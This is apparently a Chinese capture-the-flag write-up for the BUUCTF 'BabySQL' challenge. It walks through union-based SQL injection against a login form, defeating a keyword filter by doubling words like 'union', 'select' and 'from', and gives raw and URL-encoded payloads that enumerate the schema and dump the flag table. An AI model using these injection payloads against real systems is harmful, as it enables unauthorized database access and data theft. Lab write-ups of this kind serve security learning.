buuctf[极客大挑战 2019]BabySQL--联合注入、双写过滤

目录

1、测试万能密码:

2、判断字段个数

3、尝试联合注入

4、尝试双写过滤

5、继续尝试列数

6、查询数据库和版本信息

7、查询表名

8、没有找到和ctf相关的内容,查找其他的数据库

9、查看ctf数据库中的表

10、查询Flag表中的字段名

11、查询表中的内容


1、测试万能密码:

1' or'1'='1 失败

2、判断字段个数

1' order by 3# "or"和"by"被过滤

3、尝试联合注入

Payload:1'union select 1#&password=1

url:username=1'union+select+1&password=aa

有回显: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1#' and password='1'' at line 1

union和select被过滤

4、尝试双写过滤

Payload :username=1'ununionion seselectlect 1#&password=1

url:username=1%27ununionion%20seselectlect%201%23&password=1

有回显: The used SELECT statements have a different number of columns

使用的SELECT语句具有不同数量的列

5、继续尝试列数

Payload:

username=1'ununionion seselectlect 1,2,3#&password=1

Url:

username=1%27ununionion%20seselectlect%201,2,3%23&password=1

有回显登录成功

说明正确的列数为三列

6、查询数据库和版本信息

Payload:

username=1'ununionion seselectlect 1,version(),database()#&password=1

Url:

username=1%27ununionion%20seselectlect%201,version(),database()%23&password=1

有回显:版本为:" 10.3.18-MariaDB! "

数据库为:"geek"

7、查询表名

Payload:

username=1'ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t

ables where table_schema=database()#&password=1

或者

username=1'ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t

ables where table_schema='geek'#&password=1

Url:

对from,or,where进行了过滤,所以需要进行双写过滤

username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom %20infoorrmation _schema.tables%20wwherehere%20table_schema=database()%23&password=1

username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom %20infoorrmation _schema.tables%20wwherehere%20table_schema=%27geek%27%23&password=1

有回显获得表名b4bsql,geekuser!

8、没有找到和ctf相关的内容,查找其他的数据库

Payload:

username=1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_

schema.schemata#&password=1

Url:

username=1%27ununionion%20seselectlect%201,2,group_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%23&password=1

有回显

9、查看ctf数据库中的表

Payload:

username=1'ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t

ables where table_schema='ctf'#&password=1

URL:

username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom %20infoorrmation _schema.tables%20wwherehere%20table_schema=%27ctf%27%23&password=1

有回显,存在表flag

10、查询Flag表中的字段名

Payload:

username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorr

mation_schema.columns whwhereere table_schema='ctf'#&password=1

Url:

username=1%27%20ununionion%20seselectlect%201,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema=%27ctf%27%23&password=1

有回显,字段名为flag

11、查询表中的内容

Payload:

username=1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#&password=1

Url:

username=1%27%20ununionion%20seselectlect%201,2,group_concat(flag)%20frfromom%20ctf.Flag%23&password=1

获得flag

参考内容:sql注入之union联合注入_在用户名的输入框中,通过union查询语句,猜测出前面表查询的列数。【查找注入点】-CSDN博客

相关推荐
Python私教2 小时前
model中能定义字段声明不存储到数据库吗
数据库·oracle
Red Red4 小时前
网安基础知识|IDS入侵检测系统|IPS入侵防御系统|堡垒机|VPN|EDR|CC防御|云安全-VDC/VPC|安全服务
网络·笔记·学习·安全·web安全
BestandW1shEs5 小时前
谈谈Mysql的常见基础问题
数据库·mysql
重生之Java开发工程师5 小时前
MySQL中的CAST类型转换函数
数据库·sql·mysql
教练、我想打篮球5 小时前
66 mysql 的 表自增长锁
数据库·mysql
Ljw...5 小时前
表的操作(MySQL)
数据库·mysql·表的操作
哥谭居民00015 小时前
MySQL的权限管理机制--授权表
数据库
wqq_9922502775 小时前
ssm旅游推荐系统的设计与开发
数据库·旅游
难以触及的高度6 小时前
mysql中between and怎么用
数据库·mysql